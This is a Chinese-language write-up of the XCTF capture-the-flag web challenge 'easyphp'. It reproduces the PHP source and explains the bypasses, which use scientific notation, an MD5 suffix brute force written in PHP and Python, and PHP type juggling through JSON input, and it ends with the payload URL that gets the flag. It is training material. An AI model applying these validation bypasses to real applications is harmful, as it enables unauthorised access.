导言：
本文主要讲述在CTF竞赛中，web类题目easyphp。
靶场链接：攻防世界 (xctf.org.cn)
参考文章原文链接：Web安全攻防世界05 easyphp（江苏工匠杯）_攻防世界 easyphp-CSDN博客
一，观察页面。
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
// 获取GET参数a和b
$a = $_GET['a'];
$b = $_GET['b'];
// 判断a是否设置，并且a的值是否大于6000000，长度是否小于等于3
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
// 判断b是否设置，并且b的md5值的后6位是否等于8b184b
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
$key1 = 1;
}else{
die("Emmm...再想想");
}
}else{
die("Emmm...");
}
// 获取GET参数c，并转换为数组
$c=(array)json_decode(@$_GET['c']);
// 判断c是否为数组，并且c的m值是否不是数字，并且m值大于2022
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
// 判断c的n值是否为数组，并且n的长度是否为2，并且n的第一个值是否为数组
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
// 在n数组中查找DGGJ，如果找不到则输出no...
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
// 遍历n数组，如果数组中存在DGGJ则输出no......
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;
}else{
die("no hack");
}
}else{
die("no");
}
// 如果key1和key2都为1，则包含Hgfks.php文件，并输出You're right和flag
if($key1 && $key2){
include "Hgfks.php";
echo "You're right"."\n";
echo $flag;
}可以看到，这是一道php代码审计类题目，单纯地在考验php语法，并且每个变量输错了都有不同的提示。
二，解题思路。
根据php代码可知:
1，需要使用get方式传递两个参数，分别为a，b。
2，a的值大于6000000，长度小于等于3。
3，b的md5值的后6位等于8b184b。
4，需要使用get方式传递c数组，并且里面有m和n两个数值。
5，数组c为数组并且c中的m值不是数字或者字符串，并且值大于2022。
6，数组c中，n必须含有DGGJ，但n不能是DGGJ本身。
7， 数组c除了上述要求外，还需要是JSON 编码。
三，开始测试。
1，a。
a的值大于6000000，长度小于等于3。看似不可能，实际上可以使用科学计数法。例如：2e9,等于2000000000。 E表示的是10的次方，E后面的数字表示的是10的几次方，所以2E9等于2*10^9，也就是20亿。
进行测试：
成功。
2，b。
b的md5值的后6位等于8b184b，这里使用一个php文件进行计算：
<?php
for($b=1;$b<=100000;$b++){
if(preg_match('/^8b184b/',substr(md5($b),-6,6))){
echo $b;
echo "\n";
}
}
?>计算结果：
得到b的值为：53724。
一般情况下python脚本使用较多，下面是一个python解法：
import hashlib
def find_number(start, end, target_hash):
for num in range(start, end + 1):
md5_hash = hashlib.md5(str(num).encode()).hexdigest()
if md5_hash[-6:] == target_hash:
return num
print("未找到匹配的数字")
return None
target_hash = '8b184b'
start, end = 0, 10**5
result = find_number(start, end, target_hash)
if result is not None:
print(f" {result}")
测试：
通过。
3，c。
根据源码可知，c是含有m和n两个数值。
m的值应为“＞2022的数字+字符”，这里使用"3000% ”
至于n，我们直接将其定义为空数值。
因为m和n是c的值，所以应写为：c={"m":"3000 ","n":[[0],0]}
四，构造payload，得到flag。
payload：
http://61.147.171.105:52428/?a=2e9&&b=53724&&c={"m":"3000 ","n":[[0],0]}
